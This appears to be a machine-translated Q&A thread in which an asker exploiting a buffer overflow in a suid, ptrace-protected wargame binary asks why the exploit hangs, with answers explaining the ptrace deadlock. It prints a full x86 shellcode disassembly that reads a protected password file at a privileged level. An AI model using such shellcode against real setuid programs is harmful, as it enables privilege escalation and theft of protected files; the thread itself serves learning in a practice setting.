2016-05-29 81 views
1

我试图通过使用ptrace来防止调试的代码。
这个可执行文件是suid,因此没有必要破解它。 它也有堆栈段可执行文件。这个可执行文件用于播放。
当我发现自己存在一个漏洞后,我尝试了缓冲区溢出。我写了一个shellcode,它启动了一个shell,我惊讶地发现它挂起了。 (BASH报告过程已经停止)
经过一些测试后,我得出了ptrace不仅可以防止调试的结论,还可以防止我的shellcode被执行。
关于ptrace,我发现调用ptrace(PTRACE_TRACEME,0,1,0)的进程一旦调用syscall exec就会停止。所以我改变了策略,因为一旦它启动一个可执行文件,ptrace就会停止进程,我尝试了一个读取文件的shellcode。我的目标不是启动shell,而是读取我的用户没有权限的文件。最后,这段代码也被吊死了。

任何人都可以解释为什么我的代码,尽管它不包含执行调用,它会被绞死吗?
有什么办法可以阻止进程本身内的ptrace?
在我的情况下,ptraced进程没有父节点,它以更高的权限运行,导致suid,它如何被控制?PTRACE_TRACEME没有父母

这里我的代码不应该包含任何exec。

这里我的shell代码:

0: 31 c0     xor eax,eax 
2: 31 db     xor ebx,ebx 
4: 31 c9     xor ecx,ecx 
6: 31 d2     xor edx,edx 
8: eb 38     jmp 0x42 
a: 5b      pop ebx 
b: c6 43 13 01    mov BYTE PTR [ebx+0x13],0x1 
f: fe 4b 13    dec BYTE PTR [ebx+0x13] 
12: b0 05     mov al,0x5 
14: 31 c9     xor ecx,ecx 
16: cd 80     int 0x80 
18: 89 c6     mov esi,eax 
1a: eb 06     jmp 0x22 
1c: b0 01     mov al,0x1 
1e: 31 db     xor ebx,ebx 
20: cd 80     int 0x80 
22: 89 f3     mov ebx,esi 
24: b0 03     mov al,0x3 
26: 83 ec 01    sub esp,0x1 
29: 89 e1     mov ecx,esp 
2b: b2 01     mov dl,0x1 
2d: cd 80     int 0x80 
2f: 31 db     xor ebx,ebx 
31: 39 c3     cmp ebx,eax 
33: 74 e7     je  0x1c 
35: b0 04     mov al,0x4 
37: b3 01     mov bl,0x1 
39: b2 01     mov dl,0x1 
3b: cd 80     int 0x80 
3d: 83 c4 01    add esp,0x1 
40: eb e0     jmp 0x22 
42: e8 c3 ff ff ff   call 0xa 
47:       db '/home/level8/passwd' 
+0

很有可能它崩溃了,但是当一个进程被捕获时,那么当它崩溃时它首先告诉跟踪器,但在这种情况下跟踪器是相同的进程,所以它是一个死锁。 – immibis

+0

@Alessandro:它不是一个批评家或者其他任何类似的东西,只是一个建议,但是这个问题会更适合[RE.SE](https://reverseengineering.stackexchange.com/)(我无耻地制作一些广告对于RE.SE!:))。 – perror

回答

0

我相信你有ptrace的是如何工作的核心误解。

当调用execve后进程停止,那是一个好的的事情。这意味着你的调试器有机会在execve之前和之后进行改变。

在我看来,像你在孩子中写过ptrace(PTRACE_TRACEME),但是你还没有实现你应该拥有的任何父方支持。因此,只要ptrace试图通知调试器一个事件,您的进程就会停止并且不会重新启动。